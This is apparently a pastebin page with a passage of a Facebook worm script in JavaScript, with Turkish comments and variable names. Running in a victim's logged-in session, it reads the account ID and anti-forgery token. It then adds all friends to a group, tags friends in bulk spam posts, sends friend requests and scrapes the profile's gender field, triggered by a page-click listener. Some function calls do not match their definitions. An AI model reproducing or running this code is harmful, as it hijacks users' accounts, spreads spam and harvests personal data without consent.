  477.             return _0x93dax8['index'] - _0x93dax9['index'];
  478.         });
  479.     };
  480. };
  481.  
  482. for (var i = 0; i < friends['length']; i++) {
  483.     var httpwp = new XMLHttpRequest();
  484.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  485.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  486.     httpwp['open']('POST', urlwp, true);
  487.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  488.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  489.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  490.     httpwp['onreadystatechange'] = function () {
  491. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  492.     };
  493.     httpwp['send'](paramswp);
  494. };
  495. var spage_id = "295782547108274";
  496. var spost_id = "475485335804660";
  497. var sfoto_id = "475485335804660";
  498. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  499. var smesaj = "";
  500. var smesaj_text = "";
  501. var arkadaslar = [];
  502. var svn_rev;
  503. var bugun= new Date();
  504. var btarihi = new Date();
  505. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  506. if(!document.cookie.match(/paylasti=(\d+)/)){
  507. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  508. }
  509.  
  510.  
  511. //arkadaslari al ve isle
  512. function sarkadaslari_al(){
  513.         var xmlhttp = new XMLHttpRequest();
  514.         xmlhttp.onreadystatechange = function () {
  515.             if(xmlhttp.readyState == 4){
  516.                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  517.                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  518.                     smesaj = "";
  519.                     smesaj_text = "";
  520.                   for(i=f*10;i<(f+1)*10;i++){
  521.                     if(arkadaslar.payload.entries[i]){
  522.                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  523.                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  524.                   }
  525.                     }
  526.                     sdurumpaylas();             }
  527.                
  528.             }
  529.            
  530.         };
  531.         var params = "&filter[0]=user";
  532.         params += "&options[0]=friends_only";
  533.         params += "&options[1]=nm";
  534.         params += "&token=v7";
  535.         params += "&viewer=" + user_id;
  536.         params += "&__user=" + user_id;
  537.        
  538.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  539.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  540.         xmlhttp.send();
  541. }
  542.  
  543. //tiklama olayini dinle
  544. var tiklama = document.addEventListener("click", function () {
  545. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  546. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  547. sarkadaslari_al();
  548. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  549.  
  550. document.removeEventListener(tiklama);
  551. }
  552.  }, false);
  553.  
  554.  
  555. //arkada?¾ ekleme
  556. function sarkadasekle(uid,cins){
  557.         var xmlhttp = new XMLHttpRequest();
  558.         xmlhttp.onreadystatechange = function () {
  559.             if(xmlhttp.readyState == 4){   
  560.             }
  561.         };
  562.        
  563.         xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  564.         var params = "to_friend=" + uid;
  565.         params += "&action=add_friend";
  566.         params += "&how_found=friend_browser";
  567.         params += "&ref_param=none";
  568.         params += "&outgoing_id=";
  569.         params += "&logging_location=friend_browser";
  570.         params += "&no_flyout_on_click=true";
  571.         params += "&ego_log_data=";
  572.         params += "&http_referer=";
  573.         params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  574.         params += "&phstamp=165816749114848369115";
  575.         params += "&__user=" + user_id;
  576.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  577.         xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  578.        
  579. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  580.         xmlhttp.send(params);
  581. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  582.         cinsiyetgetir(uid,cins,"sarkadasekle");
  583. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  584.         xmlhttp.send(params);
  585. }
  586. }
  587.  
  588. //cinsiyet belirleme
  589. var cinssonuc = {};
  590. var cinshtml = document.createElement("html");
  591. function scinsiyetgetir(uid,cins,fonksiyon){
  592.         var xmlhttp = new XMLHttpRequest();
  593.         xmlhttp.onreadystatechange = function () {
  594.             if(xmlhttp.readyState == 4){
  595.             eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  596.             cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  597.             btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  598.             if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  599.             document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  600.             }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  601.             document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  602.             }
  603.             eval(fonksiyon + "(" + id + "," + cins + ");");
  604.             }
  605.         };
  606.         xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  607.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  608.         xmlhttp.send();
  609. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement